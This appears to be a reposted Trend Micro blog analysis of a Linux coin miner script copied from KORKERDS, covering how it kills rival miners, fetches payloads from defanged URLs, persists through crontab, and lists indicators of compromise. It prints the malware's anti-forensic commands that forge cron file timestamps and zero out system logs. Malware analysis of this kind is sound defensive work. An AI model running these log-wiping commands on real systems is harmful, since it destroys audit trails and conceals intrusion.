  • Function B kills previously installed malware, coin miners, and all related services referenced to an accompanying malware (detected by Trend Micro as SH.MALXMR.UWEIU). It also creates new directories, files, and stop processes with connections to identified IP addresses.

Figure 4. Coin miner script kills previously installed malware, coin miners, and related services.

  • Function D downloads the coin miner binary from hxxp:// and runs it.
  • Function C downloads a script from hxxp://, saves it to /usr/local/bin/dns file, and creates a new crontab to call this script at 1 a.m. It also downloads hxxp:// and puts it in different crontabs:


The new files have time modifications and last accessed time as /bin/sh file

touch -acmr /bin/sh /etc/cron.hourly/oanacroner


and implant themselves in the system to survive reboots and deletions, trimming the log files to 0:

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron


Compared to the KORKERDS sample, the new script simplifies the routine to downloading and executing the files, followed by installing the coin miner into the system. Looking into its propagation routine, a majority of the codes were also taken from the KORKERDS script, as the codes are still available online with Base64 encoding via hxxps:// We noted the subtle difference in the absence of the link placed in between the PUT URL /fileserver/vMROB4ZhfLTljleL and the actual crontab. While KORKERDS’ saves the crontab directly, the new script inserts just one crontab that fetches all the code and the miner.

Figure 5. The script was copied from KORKERDS’ Python script for propagation.



While a malware routine that includes the removal of other malware in the system is not new, we’ve never seen the removal of Linux malware from the system on this scale. Removing competing malware is just one way cybercriminals are maximizing their profit. Enterprises can protect themselves from various kinds of evolving attacks by making sure their systems have downloaded the latest patches released by legitimate vendors. Cryptocurrency-mining malware or coin miners use CPU and GPU resources, making systems run slowly. Having a multilayered protection system in place helps IT administrators immediately detect, prevent, and resolve malware infections such as coin miners and stops them from affecting the network and hindering regular enterprise operations.


Trend Micro Solutions

Trend Micro XGen™ security


Indicators of Compromise

SHA256 Detection
2f7ff54b631dd0af3a3d44f9f916dbde5b30cdbd2ad2a5a049bc8f2d38ae2ab6 Trojan.SH.MALXMR.UWEIU

















Files (with immutable flag):












Erased (trimmed to zero):





The post Linux Coin Miner Copied Scripts From KORKERDS, Removes All Other Malware and Miners appeared first on .

This post appeared first on Trend Macro Blog
Author: Trend Micro